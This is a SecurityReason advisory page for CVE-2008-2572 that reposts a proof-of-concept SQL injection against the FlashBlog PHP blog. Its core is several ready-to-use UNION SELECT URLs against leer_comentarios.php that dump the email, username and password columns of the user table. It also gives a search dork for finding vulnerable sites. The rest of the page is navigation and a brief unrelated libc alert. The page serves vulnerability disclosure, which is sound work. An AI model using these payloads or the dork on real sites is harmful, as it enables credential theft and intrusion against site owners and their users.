|
 |
| SecurityReason | ||
| WLB | ||
| RSS | ||
| Corporate | ||
| Services | ||
| Note | ||
If you have found a vulnerability, please send to our SecurityAlert Database : |
||
| Details : SecurityAlert | ||||
 SecurityAlert : 3927 CVE : CVE-2008-2572 SecurityRisk : Low  (About) Remote Exploit : Yes Local Exploit : No Victim interaction required : No Exploit Given : Yes Credit : Her0 Published : 08.06.2008
Advisory Text : ######################################################################## ####### # # Name : FlashBlog sql Inyeccion # Author : Her0 # Dork : "flashblog", allinurl:flashblog.html # Greetz : Komtec1,Freak,Knet,Boer,ka0x # ######################################################################## ####### Proof of Concept : http://[host]/[path]//php/leer_comentarios.php?articulo_id=-1/**/union/* */select/**/1,2,3,4,5,concat(email,0x203a3a20,NombreUsuario,0x203a3a20,P assword),7,8,9,10,11,12,13,14,15,16,17/**/from/**/usuarios/* The colums from host to host are diferent: all resolve =D /php/leer_comentarios.php?articulo_id=-1/**/union/**/select/**/1,2,3,4,5 ,concat(email,0x203a3a20,NombreUsuario,0x203a3a20,Password),7,8,9,10,11, 12,13,14,15,16,17,18,19,20,21,22/**/from/**/usuarios/* /php/leer_comentarios.php?articulo_id=-1/**/union/**/select/**/1,2,3,4,5 ,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30, 31/**/from/**/usuarios/* /php/leer_comentarios.php?articulo_id=-1/**/union/**/select/**/1,2,3,4,5 ,concat(email,0x203a3a20,NombreUsuario,0x203a3a20,Password),7,8,9,10,11, 12,13,14,15,16,17,18,19/**/from/**/usuarios/* ######################################################################## ####### # # Mexico 2008, Thanks all my friends, I love the whisky xD #http://milw0rm.com/exploits/5685 ######################################################################## ####### References : http://www.securityfocus.com/archive/1/archive/1/492748/100/0/threaded http://www.milw0rm.com/exploits/5685 Feedback : If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com. |
||||
| Alert | ||
*BSD libc (strfmon) Multiple vulnerabilities
Maksymilian Arciemowicz discovered a Integer Overflow vulnerability in the libc library "strfmon()" function.A vulnerability could allow an attacker who successfully exploits this vulnerability to take control of the affected *BSD systems. |
||
| Apache |  |
|
» Apache Tomcat <= |
||
| PHP | |
|
» PHP 5.2.5 and prior : |
||
- 2008-03-25| Copyright © SecurityReason. All Rights Reserved. |